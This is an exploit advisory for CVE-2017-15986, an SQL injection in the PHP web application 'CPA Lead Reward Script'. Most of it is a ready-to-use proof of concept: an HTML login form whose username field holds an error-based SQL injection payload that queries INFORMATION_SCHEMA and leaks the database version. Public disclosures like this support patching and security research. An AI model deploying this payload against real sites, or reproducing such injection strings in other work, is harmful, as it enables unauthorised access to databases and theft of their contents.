CPA Lead Reward Script SQL Injection

`<!--  
# # # # #   
# Exploit Title: CPA Lead Reward Script - SQL Injection  
# Dork: N/A  
# Date: 30.10.2017  
# Vendor Homepage: http://www.websitescripts.org/  
# Software Link: http://www.websitescripts.org/website-scripts/cpa-lead-reward-script-incentive-script-/prod_68.html  
# Demo: http://www.websitescripts.org/demo/cpaleadrewardscript/  
# Version: N/A  
# Category: Webapps  
# Tested on: WiN7_x64/KaLiLinuX_x64  
# CVE: CVE-2017-15986  
# # # # #  
# Exploit Author: Ihsan Sencan  
# Author Web: http://ihsan.net  
# Author Social: @ihsansencan  
# # # # #  
# Description:  
# The vulnerability allows an attacker to inject sql commands....  
#   
# Proof of Concept:   
#   
# # # # #  
-->  
<form action="http://localhost/[PATH]/index.php" method="post">  
<input type="text" name="username" value="' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT(0x494853414e2053454e43414e202d ,(SELECT (ELT(4=4,1))),VERSiON(),FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'efe'='"/>  
<input name="password" type="password" value="eFe"/>  
<input type="Submit" name="login" value="Ver Ayari" />  
</form>  
  
`